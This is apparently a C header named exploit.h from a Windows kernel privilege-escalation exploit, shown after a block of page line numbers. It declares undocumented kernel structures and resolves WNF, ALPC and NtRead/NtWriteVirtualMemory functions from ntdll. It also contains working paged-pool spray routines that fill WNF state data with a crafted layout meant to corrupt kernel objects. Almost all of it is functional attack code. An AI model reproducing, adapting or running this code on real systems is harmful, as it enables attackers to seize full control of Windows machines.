/..

#CONTENT

#TOP

exploit.hC
   1 
 
2
 
3
 
4
 
5
 
6
 
7
 
8
 
9
 
10
 
11
 
12
 
13
 
14
 
15
 
16
 
17
 
18
 
19
 
20
 
21
 
22
 
23
 
24
 
25
 
26
 
27
 
28
 
29
 
30
 
31
 
32
 
33
 
34
 
35
 
36
 
37
 
38
 
39
 
40
 
41
 
42
 
43
 
44
 
45
 
46
 
47
 
48
 
49
 
50
 
51
 
52
 
53
 
54
 
55
 
56
 
57
 
58
 
59
 
60
 
61
 
62
 
63
 
64
 
65
 
66
 
67
 
68
 
69
 
70
 
71
 
72
 
73
 
74
 
75
 
76
 
77
 
78
 
79
 
80
 
81
 
82
 
83
 
84
 
85
 
86
 
87
 
88
 
89
 
90
 
91
 
92
 
93
 
94
 
95
 
96
 
97
 
98
 
99
 
100
 
101
 
102
 
103
 
104
 
105
 
106
 
107
 
108
 
109
 
110
 
111
 
112
 
113
 
114
 
115
 
116
 
117
 
118
 
119
 
120
 
121
 
122
 
123
 
124
 
125
 
126
 
127
 
128
 
129
 
130
 
131
 
132
 
133
 
134
 
135
 
136
 
137
 
138
 
139
 
140
 
141
 
142
 
143
 
144
 
145
 
146
 
147
 
148
 
149
 
150
 
151
 
152
 
153
 
154
 
155
 
156
 
157
 
158
 
159
 
160
 
161
 
162
 
163
 
164
 
165
 
166
 
167
 
168
 
169
 
170
 
171
 
172
 
173
 
174
 
175
 
176
 
177
 
178
 
179
 
180
 
181
 
182
 
183
 
184
 
185
 
186
 
187
 
188
 
189
 
190
 
191
 
192
 
193
 
194
 
195
 
196
 
197
 
198
 
199
 
200
 
201
 
202
 
203
 
204
 
205
 
206
 
207
 
208
 
209
 
210
 
211
 
212
 
213
 
214
 
215
 
216
 
217
 
218
 
219
 
220
 
221
 
222
 
223
 
224
 
225
 
226
 
227
 
228
 
229
 
230
 
231
 
232
 
233
 
234
 
235
 
236
 
237
 
238
 
239
 
240
 
241
 
242
 
243
 
244
 
245
 
246
 
247
 
248
 
249
 
250
 
251
 
252
 
253
 
254
 
255
 
256
 
257
 
258
 
259
 
260
 
261
 
262
 
263
 
264
 
265
 
266
 
267
 
268
 
269
 
270
 
271
 
272
 
273
 
274
 
275
 
276
 
277
 
278
 
279
 
280
 
281
 
282
 
283
 
284
 
285
 
286
 
287
 
288
 
289
 
290
 
291
 
292
 
293
 
294
 
295
 
296
 
297
 
298
 
299
 
300
 
301
 
302
 
303
 
304
 
305
 
306
 
307
 
308
 
309
 
310
 
311
 
312
 
313
 
314
 
315
 
316
 
317
 
318
 
319
 
320
 
321
 
322
 
323
 
324
 
325
 
326
 
327
 
328
 
329
 
330
 
331
 
332
 
333
 
334
 
335
 
336
 
337
 
338
 
339
 
340
 
341
 
342
 
343
 
344
 
345
 
346
 
347
 
348
 
349
 
350
 
351
 
352
 
353
 
354
 
355
 
356
 
357
 
358
 
359
 
360
 
361
 
362
 
363
 
364
 
365
 
366
 
367
 
368
 
369
 
370
 
371
 
372
 
373
 
374
 
375
 
376
 
377
 
378
 
379
 
380
 
381
 
382
 
383
 
384
 
385
 
386
 
387
 
388
 
389
 
390
 
391
 
392
 
393
 
394
 
395
 
396
 
397
 
398
 
399
 
400
 
401
 
402
 
403
 
404
 
405
 
406
 
407
 
408
 
409
 
410
 
411
 
412
 
413
 
414
 
415
 
416
 
417
 
418
 
419
 
420
 
421
 
422
 
423
 
424
 
425
 
426
 
427
 
428
 
429
 
430
 
431
 
432
 
433
 
434
 
435
 
436
 
437
 
438
 
439
 
440
 
441
 
442
 
443
 
444
 
445
 
446
 
447
 
// clang-format off
#define WINAPI_FAMILY WINAPI_FAMILY_DESKTOP_APP
#define NTDDI_VERSION NTDDI_WIN10_NI

#include <io.h>
#include <stdio.h>
#include <winternl.h>
#include <windows.h>
#include <sddl.h>
#include <aclapi.h>
#include <ioringapi.h>
// clang-format on

#define AFFINITY_CORE0 (1 << 0)
#define AFFINITY_CORE1 (1 << 1)

typedef struct {
UINT32 Header;
UINT32 AllocatedSize;
UINT32 DataSize;
UINT32 ChangeStamp;
} _WNF_STATE_DATA;

typedef struct _WNF_STATE_NAME {
ULONG Data2[2];
} WNF_STATE_NAME, *PWNF_STATE_NAME;

typedef enum _WNF_STATE_NAME_LIFETIME {
WnfWellKnownStateName,
WnfPermanentStateName,
WnfPersistentStateName,
WnfTemporaryStateName
} WNF_STATE_NAME_LIFETIME;

typedef enum _WNF_DATA_SCOPE {
WnfDataScopeSystem,
WnfDataScopeSession,
WnfDataScopeUser,
WnfDataScopeProcess,
WnfDataScopeMachine,
WnfDataScopePhysicalMachine
} WNF_DATA_SCOPE;

typedef struct _WNF_TYPE_ID {
GUID TypeId;
} WNF_TYPE_ID, *PWNF_TYPE_ID;
typedef const WNF_TYPE_ID *PCWNF_TYPE_ID;

typedef NTSTATUS(NTAPI *__NtCreateWnfStateName)(
_Out_ PWNF_STATE_NAME StateName, _In_ WNF_STATE_NAME_LIFETIME NameLifetime,
_In_ WNF_DATA_SCOPE DataScope, _In_ BOOLEAN PersistData,
_In_opt_ PCWNF_TYPE_ID TypeId, _In_ ULONG MaximumStateSize,
_In_ PSECURITY_DESCRIPTOR SecurityDescriptor);

__NtCreateWnfStateName NtCreateWnfStateName;

typedef struct _WNF_STATE_NAME_REGISTRATION {
PVOID64 MaxStateSize;
PVOID64 TypeId;
PVOID64 SecurityDescriptor;
} WNF_STATE_NAME_REGISTRATION, *PWNF_STATE_NAME_REGISTRATION;

typedef ULONG WNF_CHANGE_STAMP, *PWNF_CHANGE_STAMP;

typedef NTSTATUS(NTAPI *__NtUpdateWnfStateData)(
_In_ PWNF_STATE_NAME StateName,
_In_reads_bytes_opt_(Length) const VOID *Buffer, _In_opt_ ULONG Length,
_In_opt_ PCWNF_TYPE_ID TypeId, _In_opt_ const PVOID ExplicitScope,
_In_ WNF_CHANGE_STAMP MatchingChangeStamp, _In_ ULONG CheckStamp);

__NtUpdateWnfStateData NtUpdateWnfStateData;

typedef NTSTATUS(NTAPI *__NtQueryWnfStateData)(
_In_ PWNF_STATE_NAME StateName, _In_opt_ PCWNF_TYPE_ID TypeId,
_In_opt_ const VOID *ExplicitScope, _Out_ PWNF_CHANGE_STAMP ChangeStamp,
_Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer,
_Inout_ PULONG BufferSize);

__NtQueryWnfStateData NtQueryWnfStateData;

typedef NTSTATUS(NTAPI *__NtDeleteWnfStateData)(
_In_ PWNF_STATE_NAME StateName, _In_opt_ const VOID *ExplicitScope);

__NtDeleteWnfStateData NtDeleteWnfStateData;

typedef struct _ALPC_PORT_ATTRIBUTES {
unsigned long Flags;
SECURITY_QUALITY_OF_SERVICE SecurityQos;
unsigned __int64 MaxMessageLength;
unsigned __int64 MemoryBandwidth;
unsigned __int64 MaxPoolUsage;
unsigned __int64 MaxSectionSize;
unsigned __int64 MaxViewSize;
unsigned __int64 MaxTotalSectionSize;
ULONG DupObjectTypes;
#ifdef _WIN64
ULONG Reserved;
#endif
} ALPC_PORT_ATTRIBUTES, *PALPC_PORT_ATTRIBUTES;
typedef struct _PORT_MESSAGE {
union {
struct {
USHORT DataLength;
USHORT TotalLength;
} s1;
ULONG Length;
} u1;
union {
struct {
USHORT Type;
USHORT DataInfoOffset;
} s2;
ULONG ZeroInit;
} u2;
union {
CLIENT_ID ClientId;
double DoNotUseThisField;
};
ULONG MessageId;
union {
SIZE_T ClientViewSize; // only valid for LPC_CONNECTION_REQUEST messages
ULONG CallbackId; // only valid for LPC_REQUEST messages
};
} PORT_MESSAGE, *PPORT_MESSAGE;
typedef struct _ALPC_MESSAGE {
PORT_MESSAGE PortHeader;
BYTE PortMessage[1000]; // Hard limit for this is 65488. An Error is thrown
// if AlpcMaxAllowedMessageLength() is exceeded
} ALPC_MESSAGE, *PALPC_MESSAGE;
typedef struct _ALPC_MESSAGE_ATTRIBUTES {
ULONG AllocatedAttributes;
ULONG ValidAttributes;
} ALPC_MESSAGE_ATTRIBUTES, *PALPC_MESSAGE_ATTRIBUTES;
typedef struct _ALPC_DATA_VIEW_ATTR {
ULONG Flags;
HANDLE SectionHandle;
PVOID ViewBase;
SIZE_T ViewSize;
} ALPC_DATA_VIEW_ATTR, *PALPC_DATA_VIEW_ATTR;

typedef NTSTATUS(NTAPI *__NtAlpcCreatePort)(
_Out_ PHANDLE PortHandle, _In_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes);
typedef NTSTATUS(NTAPI *__NtAlpcCreatePortSection)(
_In_ HANDLE PortHandle, _In_ ULONG Flags, _In_opt_ HANDLE SectionHandle,
_In_ SIZE_T SectionSize, _Out_ PHANDLE AlpcSectionHandle,
_Out_ PSIZE_T ActualSectionSize);
typedef NTSTATUS(NTAPI *__NtAlpcCreateSectionView)(
_In_ HANDLE PortHandle, _Reserved_ ULONG Flags,
_Inout_ PALPC_DATA_VIEW_ATTR ViewAttributes);
typedef NTSTATUS(NTAPI *__NtAlpcDeleteSectionView)(_In_ HANDLE PortHandle,
_Reserved_ ULONG Flags,
_In_ PVOID ViewBase);
typedef NTSTATUS(NTAPI *__NtAlpcDeletePortSection)(_In_ HANDLE PortHandle,
_Reserved_ ULONG Flags,
_In_ HANDLE SectionHandle);

#define ALPC_MESSAGE_VIEW_ATTRIBUTE 0x40000000
typedef struct {
ALPC_MESSAGE_ATTRIBUTES msg_attr;
ALPC_DATA_VIEW_ATTR view_attr;
} msg_view_attr;

__NtAlpcCreatePort NtAlpcCreatePort;
__NtAlpcCreatePortSection NtAlpcCreatePortSection;
__NtAlpcCreateSectionView NtAlpcCreateSectionView;
__NtAlpcDeleteSectionView NtAlpcDeleteSectionView;
__NtAlpcDeletePortSection NtAlpcDeletePortSection;

PSECURITY_DESCRIPTOR pSD = NULL;

typedef HANDLE (*__AvSetMmThreadCharacteristicsA)(char *, DWORD *);
HMODULE avrt;
__AvSetMmThreadCharacteristicsA AvSetMmThreadCharacteristicsA;

typedef struct {
void *Flink;
void *Blink;
} _LIST_ENTRY;

typedef struct {
_LIST_ENTRY ResourceList;
BYTE u1;
BYTE ResourceId;
UINT16 CachedReferences;
BYTE Padding[4];
UINT64 ReferenceCount;
BYTE Lock[0x10];
} _BLOB;

typedef struct {
_LIST_ENTRY ViewListEntry;
void *Region;
void *OwnerPort;
void *OwnerProcess;
UINT64 Address;
UINT64 Size;
void *SecureViewHandle;
void *WriteAccessHandle;
UINT32 u1;
UINT32 NumberOfOwnerMessages;
_LIST_ENTRY ProcessViewListEntry;
} _KALPC_VIEW;

typedef struct {
_BLOB Blob;
_KALPC_VIEW View;
} BlobWithView;

typedef struct {
UINT8 PreviousSize;
UINT8 PoolIndex;
UINT8 BlockSize;
UINT8 PoolType;
UINT32 PoolTag;
union {
void *ProcessBilled;
struct {
UINT16 AllocatorBackTraceIndex;
UINT16 PoolTagHash;
};
};
} _POOL_HEADER;

typedef struct {
_POOL_HEADER Header;
BlobWithView Obj;
} SprayedData;

typedef struct {
_POOL_HEADER Header;
struct {
_LIST_ENTRY List;
char *AttributeName;
size_t AttributeValueSize;
char *AttributeValue;
} Attr;
} SprayedPipeAttr;

enum _IOP_MC_BUFFER_ENTRY_FLAGS : UINT32 {
IOP_MCBF_UNLOCK = 0x1,
IOP_MCBF_SIGNAL_RUNDOWN = 0x2,
IOP_MCBF_CLEANED_UP = 0x4
};

struct _LIST_ENTRY_1 {
struct _LIST_ENTRY_1 *Flink;
struct _LIST_ENTRY_1 *Blink;
};

struct _KEVENT_1 {
char padding[0x18];
};

struct _IOP_MC_BE_PAGE_NODE {
char padding[0x20];
};

typedef struct {
UINT16 Type;
UINT16 Reserved;
UINT32 Size;
INT32 ReferenceCount;
enum _IOP_MC_BUFFER_ENTRY_FLAGS Flags;
struct _LIST_ENTRY_1 GlobalDataLink;
void *Address;
UINT32 Length;
char AccessMode;
INT32 MdlRef;
void *Mdl;
struct _KEVENT_1 MdlRundownEvent;
UINT64 *PfnArray;
struct _IOP_MC_BE_PAGE_NODE PageNodes[0x1];
} _IOP_MC_BUFFER_ENTRY;

typedef NTSTATUS(NTAPI *__NtReadVirtualMemory)(
_In_ HANDLE ProcessHandle, _In_ PVOID BaseAddress, _Out_ PVOID Buffer,
_In_ SIZE_T NumberOfBytesToRead, _Out_ PSIZE_T NumberOfBytesReaded);
__NtReadVirtualMemory NtReadVirtualMemory;

typedef NTSTATUS(NTAPI *__NtWriteVirtualMemory)(
_In_ HANDLE ProcessHandle, _In_opt_ PVOID BaseAddress,
_In_reads_bytes_(NumberOfBytesToWrite) PVOID Buffer,
_In_ SIZE_T NumberOfBytesToWrite, _Out_opt_ PSIZE_T NumberOfBytesWritten);
__NtWriteVirtualMemory NtWriteVirtualMemory;

static void dumpMemory(void *ptr, size_t nbytes) {
size_t aligned = (nbytes + 15) & ~15;
for (size_t i = 0; i < aligned; i += 16) {
UINT64 *n = (UINT64 *)&ptr[i];
printf("offset %p = 0x%016llx 0x%016llx\n", (void *)(UINT64)i, n[0],
n[1]);
}
}

static void Init() {
if (sizeof(_BLOB) != 0x30) {
printf("blob size mismatch!\n");
exit(1);
}
if (sizeof(_KALPC_VIEW) != 0x60) {
printf("view size mismatch!\n");
exit(1);
}
if (sizeof(_POOL_HEADER) != 0x10) {
printf("pool header size mismatch!\n");
exit(1);
}
if (sizeof(SprayedData) != 0xa0) {
printf("sprayed data size mismatch!\n");
exit(1);
}

NTSTATUS status;
setbuf(stdout, NULL);
printf("hello from zig!\n");

HMODULE ntdll = GetModuleHandleA("ntdll.dll");
NtCreateWnfStateName =
(__NtCreateWnfStateName)GetProcAddress(ntdll, "NtCreateWnfStateName");
NtUpdateWnfStateData =
(__NtUpdateWnfStateData)GetProcAddress(ntdll, "NtUpdateWnfStateData");
NtQueryWnfStateData =
(__NtQueryWnfStateData)GetProcAddress(ntdll, "NtQueryWnfStateData");
NtDeleteWnfStateData =
(__NtDeleteWnfStateData)GetProcAddress(ntdll, "NtDeleteWnfStateData");
NtAlpcCreatePort =
(__NtAlpcCreatePort)GetProcAddress(ntdll, "NtAlpcCreatePort");
NtAlpcCreatePortSection = (__NtAlpcCreatePortSection)GetProcAddress(
ntdll, "NtAlpcCreatePortSection");
NtAlpcCreateSectionView = (__NtAlpcCreateSectionView)GetProcAddress(
ntdll, "NtAlpcCreateSectionView");
NtAlpcDeleteSectionView = (__NtAlpcDeleteSectionView)GetProcAddress(
ntdll, "NtAlpcDeleteSectionView");
NtAlpcDeletePortSection = (__NtAlpcDeletePortSection)GetProcAddress(
ntdll, "NtAlpcDeletePortSection");
NtReadVirtualMemory =
(__NtReadVirtualMemory)GetProcAddress(ntdll, "NtReadVirtualMemory");
printf("NtReadVirtualMemory = %p\n", NtReadVirtualMemory);
NtWriteVirtualMemory =
(__NtWriteVirtualMemory)GetProcAddress(ntdll, "NtWriteVirtualMemory");
printf("NtWriteVirtualMemory = %p\n", NtWriteVirtualMemory);

printf("ntdll = %p\n", ntdll);
printf("NtFsControlFile = %p\n", NtFsControlFile);
printf("GetSecurityDescriptorDacl = %p\n", GetSecurityDescriptorDacl);
printf("NtCreateWnfStateName = %p\n", NtCreateWnfStateName);
printf("NtUpdateWnfStateData = %p\n", NtUpdateWnfStateData);

status = GetSecurityInfo(GetCurrentProcess(), SE_KERNEL_OBJECT,
DACL_SECURITY_INFORMATION, NULL, NULL, NULL, NULL,
&pSD);
printf("GetSecurityInfo: 0x%lx\n", status);

avrt = LoadLibraryA("avrt.dll");
if (avrt == NULL) {
printf("cannot find avrt.dll\n");
return;
}
printf("found avrt.dll\n");

AvSetMmThreadCharacteristicsA =
(__AvSetMmThreadCharacteristicsA)GetProcAddress(
avrt, "AvSetMmThreadCharacteristicsA");
printf("AvSetMmThreadCharacteristicsA = %p\n",
AvSetMmThreadCharacteristicsA);
}

/*
* spray util
*/
static void SetViewBaseToWNFName(char *buf, WNF_STATE_NAME state_name) {
BlobWithView *view = (BlobWithView *)buf;
view->View.Address = *((PUINT64)&state_name);
}

static int allocate_wnf(UINT amt, void (*func)(char *, WNF_STATE_NAME)) {
#define WNF_MAXBUFSIZE (0x1000)
WNF_STATE_NAME StateNames[amt];

NTSTATUS state = 0;
char StateData[0x1000];
memset(StateData, 0x42, sizeof(StateData));

printf("[+] Prepare _WNF_STATE_DATA spray\n");

for (int i = 0; i < amt; i++) {
state = NtCreateWnfStateName(&StateNames[i], WnfTemporaryStateName,
WnfDataScopeUser, FALSE, 0, WNF_MAXBUFSIZE,
pSD);
if (state != 0) {
printf("NtCreateWnfStateName failed! error=0x%lx\n",
GetLastError());
return -1;
}
}

printf("starting WNF spray\n");
for (int i = 0; i < amt; i++) {
if (func != NULL) {
(*func)(StateData, StateNames[i]);
}
state = NtUpdateWnfStateData(&StateNames[i], &StateData[0x10],
(0x90 - 0x10), 0, 0, 0, 0);
if (state != 0) {
printf("NtUpdateWnfStateData failed! error=0x%lx\n",
GetLastError());
printf("state = 0x%lx\n", state);
return -1;
}
}

char temp[0x1000];
ULONG tempsize = sizeof(temp);
ULONG stamp = 0;
state =
NtQueryWnfStateData(&StateNames[0], 0, NULL, &stamp, temp, &tempsize);
printf("query status = 0x%lx\n", state);
if (state != 0) {
exit(1);
}
return 0;
}
static int EmptyPagedPool() {
#define WNF_INITIAL_SPRAY (3000)
#define WNF_MAXBUFSIZE (0x1000)
WNF_STATE_NAME StateNames[WNF_INITIAL_SPRAY];

// NTSTATUS state = 0;

// printf("[+] spraying mutexes...\n");

// for (int i = 0; i < WNF_INITIAL_SPRAY; i++) {
// char name[0x90 + 1];
// size_t len = sizeof(name) - 1;
// memset(name, 0x20, len);
// name[len] = 0;
// char id[0x20];
// sprintf(id, "%d", i);
// memcpy(name, id, strlen(id));
// HANDLE m = CreateMutexW(NULL, FALSE, (WCHAR *)name);
// }

// printf("done emptying paged pool\n");
// return 0;
return allocate_wnf(WNF_INITIAL_SPRAY, NULL);
}